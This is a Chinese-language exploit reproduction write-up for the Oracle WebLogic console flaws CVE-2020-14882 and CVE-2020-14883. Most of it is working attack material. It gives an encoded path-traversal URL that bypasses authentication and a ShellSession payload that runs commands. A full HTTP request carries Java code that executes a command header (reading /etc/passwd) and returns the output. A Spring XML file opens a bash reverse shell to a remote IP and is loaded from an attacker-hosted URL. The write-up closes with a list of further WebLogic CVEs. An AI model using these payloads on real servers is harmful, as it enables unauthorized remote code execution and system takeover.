Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)
影响版本
Oracle:Weblogic:
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0
漏洞环境
Weblogic 12.2.1.3
复现
1.1 CVE-2020-14883: 权限绕过漏洞
低权限的用户访问以下URL,通过未授权访问到管理后台页面
http://ip:7001/console/css/%252e%252e%252fconsole.portal
2.CVE-2020-14882: 代码执行漏洞
此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过`com.tangosol.coherence.mvel2.sh.ShellSession`,二是通过`com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext`。
直接访问如下URL,即可利用`com.tangosol.coherence.mvel2.sh.ShellSession`执行命令:
```
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
```
页面显示的就是404,但是命令已经执行
Payload来自:https://github.com/jas502n/CVE-2020-14882
这个payload只能在Weblogic 12.2.1以上版本利用,因为10.3.6不存在com.tangosol.coherence.mvel2.sh.ShellSession类。
任意执行命令
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 45.77.127.27:7001
cmd: cat /etc/passwd
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1256
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("A").next();
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
res.getWriter().write("");
}executeThread.interrupt();
");
如果这个用不了,只能另找
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext来进行使用。
需要构造一个xml文件,需要靶机能够进行访问,xml文件内容:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.6.100/44444 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后通过方式如下URL,即可让Weblogic加载这个XML,并执行其中的payload:
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 172.16.242.134:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 155
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://172.16.242.1:8989/poc.xml")
此外weblogic的漏洞还有
#控制台路径泄露
Console
#SSRF:
CVE-2014-4210
#JAVA反序列化
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
CVE-2018-2893
CVE-2019-2725
CVE-2019-2729
CVE_2019_2890
#任意文件上传
CVE-2018-2894
#XMLDecoder反序列化
CVE-2017-3506
CVE-2017-10271
这边全部漏洞一一复现太久了,以后有时间再整,这时候就需要上工具了
github地址 --> https://github.com/rabbitmask/WeblogicScan
几乎收录了全部的weblogic漏洞,牛
From Weblogic漏洞——从入门到放弃 https://www.freebuf.com/column/197339.html
太强了家人们